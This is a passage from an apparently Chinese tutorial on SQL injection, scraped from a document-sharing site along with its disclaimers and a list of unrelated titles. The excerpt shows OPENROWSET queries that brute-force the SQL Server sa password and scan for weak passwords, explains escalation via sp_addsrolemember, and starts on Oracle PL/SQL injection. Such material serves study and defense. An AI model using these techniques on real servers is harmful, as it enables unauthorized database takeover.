59、a;pwd=dllktest,SELECT A)若dllktest是正确的密码,那么执行该查询并会返回结果A;但若密码不正确,那么将收到下面的返回信息:Login Failed for user sa.如此就能够构造一种暴力猜解SA密码的方法。假如找到正确的密码,接着就能够使用sp_addsrolemember存储过程来将用户添加到sysadmin治理员组,如此就能够专门容易地提升权限。命令OPENROWSET同时也能够用于扫描SQL Server存在的弱口令,如:SELECT * FROM OPENROWSET (SQLOOLEDB,Network=DMSSOCN;Address=1;uid
60、=sa;pwd=123456,SELECT A)该语句查询尝试以sa帐号、密码为123456、地址为1的SQL Server发出登录验证请求。若想实现在某一个网段内扫描所有IP地址上的SQL Server弱口令就专门容易。执行完查询语句完成后会将结果保存到一个临时表中,然后能够使用前面提到的一些方法都能够猎取这些数据。3.3.2 Oracle数据库的提权关于Oracle数据库,通常通过Web应用的来进行SQL注入利用提升权限的专门困难。因为在Oracle数据库中,大多数的提权攻击方法都需要前提是PL/SQL注入,而PL/SQL这种注入漏洞通常都专门少见。若碰到PL/SQL注入漏洞,则能够通过注
温馨提示
- 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
- 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
- 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
- 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
- 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
- 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
- 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
最新文档
- 2024至2030年中国萝卜糕行业投资前景及策略咨询研究报告
- 2024至2030年中国自动化仪器仪表数据监测研究报告
- 2024至2030年中国男士茶行业投资前景及策略咨询研究报告
- 2024至2030年中国电动座式平衡重式叉车数据监测研究报告
- 2024至2030年中国炊事车行业投资前景及策略咨询研究报告
- 2024至2030年中国折叠式手动液压堆垛车数据监测研究报告
- 2024至2030年中国定香剂行业投资前景及策略咨询研究报告
- 2024至2030年中国双面反射铝箔节能帘膜行业投资前景及策略咨询研究报告
- 初中信息技术课件全部课件
- 2020年成都市崇州市事业单位卫生系统招聘考试《医学基础知识》真题及答案解析
- 混凝土搅拌站应急处置方案
- 防爆柜使用说明
- 高中思想政治-高三一轮复习为人民服务的政府教学设计学情分析教材分析课后反思
- IVUS指导PCI的应用课件
- 医科大学课件:《传染病学-第七章-原虫病-第三节-黑热病》
- 《滇南本草》读书笔记思维导图
- 《制作实验装置模拟吸烟有害健康》跨学科实践主题学习单元教学设计
- 国际学术交流英语知到章节答案智慧树2023年哈尔滨工业大学
- 放射科专科护理模拟题库及答案
- 骨折愈合过程
- 工程项目监理人员管理制度
评论
0/150
提交评论